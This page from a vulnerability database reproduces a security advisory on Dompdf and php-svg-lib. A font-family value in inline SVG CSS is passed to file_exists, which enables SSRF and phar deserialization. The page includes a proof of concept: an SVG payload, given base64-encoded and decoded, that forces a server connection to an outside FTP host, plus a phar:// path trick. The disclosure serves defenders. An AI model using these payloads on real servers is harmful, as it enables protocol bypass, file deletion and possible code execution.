GHSA-97M3-52WR-XVV2

Vulnerability from github – Published: 2024-02-22 18:15 – Updated: 2024-02-23 21:19
VLAI?
Summary
Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE
Details

Summary

A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a file_exists call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.

Details

The problem lies on the openFont function of the lib/Cpdf.php library, when the $font variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS :

$name = basename($font);
$dir = dirname($font);
[...]
$metrics_name = "$name.ufm";
[...]

if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) {

Passing a font named phar:///foo/bar/baz.phar/test will set the value of $name to test and $dir to phar:///foo/bar/baz.phar, which once reconstructed will call file_exists on phar:///foo/bar/baz.phar/test.ufm. That allows to deserialize the baz.phar arbitrary file that contains a test.ufm file in the archive.

PoC

Consider the following, minimal PHP code :

<?php
require('vendor/autoload.php');

use Dompdf\Dompdf;
$dompdf = new Dompdf();
$dompdf->loadHtml($_GET['payload']);
$dompdf->setPaper('A4', 'landscape');
$options = $dompdf->getOptions();
$options->setAllowedProtocols([]);
$dompdf->render();
$dompdf->stream();

With payload being this html file :

<html>
<img src="data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4="></img>
</html>

with the base64 image being :

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="20" y="35" style="color:red;font-family:ftp://blakl.is:21/x/y;">My</text>
</svg>

A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.

Impact

An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phenx/php-svg-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-22T18:15:41Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\n### Details\nThe problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn\u0027t checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\n```\n$name = basename($font);\n$dir = dirname($font);\n[...]\n$metrics_name = \"$name.ufm\";\n[...]\n\nif (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n```\n\nPassing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\n\n### PoC\n\nConsider the following, minimal PHP code : \n\n```\n\u003c?php\nrequire(\u0027vendor/autoload.php\u0027);\n\nuse Dompdf\\Dompdf;\n$dompdf = new Dompdf();\n$dompdf-\u003eloadHtml($_GET[\u0027payload\u0027]);\n$dompdf-\u003esetPaper(\u0027A4\u0027, \u0027landscape\u0027);\n$options = $dompdf-\u003egetOptions();\n$options-\u003esetAllowedProtocols([]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n```\n\nWith payload being this html file : \n\n```\n\u003chtml\u003e\n\u003cimg src=\"data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4=\"\u003e\u003c/img\u003e\n\u003c/html\u003e\n```\n\nwith the base64 image being : \n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nA connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.",
  "id": "GHSA-97m3-52wr-xvv2",
  "modified": "2024-02-23T21:19:15Z",
  "published": "2024-02-22T18:15:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-97m3-52wr-xvv2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/php-svg-lib/security/advisories/GHSA-f3qr-qr4x-j273"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/php-svg-lib/commit/732faa9fb4309221e2bd9b2fda5de44f947133aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/dompdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dompdf\u0027s usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…